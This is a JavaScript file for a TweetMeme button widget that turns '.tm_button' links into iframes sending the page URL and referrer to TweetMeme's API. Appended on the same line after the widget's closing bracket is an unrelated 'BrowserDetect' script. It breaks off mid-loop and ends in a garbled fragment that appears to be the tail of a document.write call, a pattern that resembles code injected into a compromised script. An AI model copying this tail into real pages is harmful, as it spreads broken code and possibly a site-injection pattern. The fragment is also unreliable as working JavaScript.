(function() {
/**
* class Button
*/
var Button = function(button) {
this.construct(button);
}
/**
* Methods which belong to the button object
*/
Button.prototype = {
/**
* Button.construct(button) < Button
* - button (Object): DOM reference to a button
*/
construct: function(button) {
var newButton = document.createElement('iframe');
var url = "http://api.tweetmeme.com/button.js?url=" + escape(button.href);
// get all the addiontial options
url += '&' + button.rel.toLowerCase();
// tracking data
if (document && document.referrer) {
var ref = document.referrer;
if (ref) {
url += '&o=' + escape(ref);
}
}
newButton.src = url;
newButton.frameBorder = "0";
newButton.scrolling = "no";
// get the style info
var params = new Array();
var qp = button.rel.split('&');
for (var i = 0; i < qp.length; i++) {
var kv = qp[i].split('=');
if (kv.length > 1) {
params[kv[0]] = kv[1];
}
}
if (params['style']) {
switch(params['style']) {
case 'compact': {
var h = 20;
var w = 90;
break;
}
default: {
var h = 61;
var w = 50;
break;
}
}
newButton.height = h;
newButton.width = w;
} else {
newButton.height = 61;
newButton.width = 50;
}
button.parentNode.insertBefore(newButton, button);
var parent = button.parentNode;
parent.removeChild(button);
this.button = newButton;
}
}
/**
* class Selector
*
* Provides a means to select DOM objects from expressions
*/
var Selector = {
/**
* Selector.findChildElements -> Array
* - element (Object): Element to search for children from
* - expression (String): Expression to search for
*
* Example
*
* The types of selectors supported in the expression are #(id), .(classes) and tag names
*
* Selector.findChildElements(div, '#hello')
* -> Objects with id hello which are children of div
*/
findChildElements: function(element, expression) {
// set up the results array
var results = new Array();
if (typeof expression != 'string') {
return false;
}
// pull the identifier from the expression (either # or .)
var identifier = expression.substring(0, 1);
var match = expression.substring(1);
// fetch all the child nodes (tested on FF3.6/Opera10.5/Chrome4.1.249.1045
this.search(element.childNodes, function(node) {
switch(identifier) {
case '#':
node.id = match ? results.push(node) : false;
break;
case '.':
var classes = node.className;
if (classes) {
classes = classes.split(' ');
for (j in classes) {
if (classes[j] == match) {
results.push(node);
}
}
}
break;
default:
node.tagName == expression.toUpperCase() ? results.push(node) : false
break;
}
});
return results;
},
/**
* Selector.search
* - nodes (Array): Array of DOM elements
* - match (Object): function to run on each node
*
* Example
*
* Selector.search(children, function(node) {
* node.innerHTML = 'yo';
* });
*/
search: function(nodes, match) {
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].childNodes.length > 0) {
this.search(nodes[i].childNodes, match);
}
match(nodes[i]);
}
}
}
// grab all the buttons
var buttons = Selector.findChildElements(document.body, '.tm_button');
// create the button objects
var buttonObjs = new Array();
if (buttons.length > 0) {
for (var i = 0; i < buttons.length; i++) {
var obj = new Button(buttons[i]);
buttonObjs[obj.url] = obj;
}
}
})();var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i');}else {}